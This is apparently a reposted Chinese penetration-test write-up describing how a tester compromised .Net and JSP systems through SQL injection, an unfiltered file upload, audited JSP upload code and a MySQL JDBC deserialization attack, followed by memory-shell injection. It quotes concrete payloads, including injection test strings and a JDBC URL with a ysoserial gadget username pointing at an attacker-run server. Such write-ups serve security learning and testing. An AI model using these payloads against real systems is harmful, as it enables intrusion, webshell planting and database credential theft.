记一次渗透到审计

华盟原创文章投稿奖励计划

文章首发在:先知社区

https://xz.aliyun.com/t/16746‍

前言

某次渗透项目中要求必须产出高危漏洞且要拿到服务器及数据库权限,难受的是测试的部分系统之前已测试过一轮且加固修复一波之后,再次丢出进行漏洞挖掘,头皮发麻。

某.Net系统getshell

.Net网站后台可关注头像上传/查询/提交的地方,这种可能有上传/SQL注入漏洞。

Aspx SQL 注入

UserID=1+or+1=1 UserID=1+or+1=2 

SqlMap一把梭注入成功

自动草稿

自动草稿

Aspx 文件上传

头像上传处未做过滤,直接getshell

自动草稿

自动草稿

web.config获取多个数据库配置信息

自动草稿

自动草稿

审计

该系统之前已被挖掘过任意文件上传,后台基本没上传的点且都修复了,根据指纹特征,远方的队友给了一份源码,推测开发人员修复漏洞可能仅仅是修复某个页面或者某个点的漏洞而不是全局修复,尝试审计挖掘新的漏洞

任意文件上传

通过审计JSP文件,发现一处任意文件上传漏洞,前端获取uploadPath值

自动草稿

获取后缀未进行检查 extName = name.substring(name.lastIndexOf(".")); 用时间戳+随机数字对文件进行重命名 name + (int)(Math.random()*90000+10000) 直接进行拼接 new File(savePath + name + extName) 最后写内容 item.write(file); 

自动草稿

响应会返回上传成功重命名的文件名 ps:需注意的是没有返回具体的路径

response.getWriter().print((name.trim() + extName.trim()).trim()); 

自动草稿

前面提到uploadPath值很关键,决定了写入的shell文件存储的目录而且要有权限访问到,前面提到之前有被shell过,故直接将uploadPath值设为存在的访问路径,如/aaa/bbbb/直接构造上传的HTML文件。

自动草稿

经过测试成功上传,按照代码逻辑返回了上传的文件名

自动草稿

成功getshell

自动草稿

Mysql JDBC 反序列化漏洞

某jsp中找到一处数据库连接功能,URL/用户名/密码/可控,且lib包存在 Mysql,经过测试存在反序列化漏洞

自动草稿

直接分析.do对应的路由代码文件

自动草稿

不同数据库对应不同的type从而选择不同的数据库加载

自动草稿

自动草稿

自动草稿

自动草稿

访问对应的JSP文件完全可控,是一个数据库链接测试页面

自动草稿

服务端开启python server.py 由于目标系统存在cb、cc 可以利用cb2 弹个计算器(本地测试一下效果)

自动草稿

自动草稿

Mysql5.x url=jdbc:mysql://xx.xx.xx.xx:3307/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor username=yso-CommonsBeanutils2-raw_cmd:calc.exe password=123456 

自动草稿

内存马注入

JMG 生成内存马 class文件

自动草稿

自动草稿

自动草稿

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容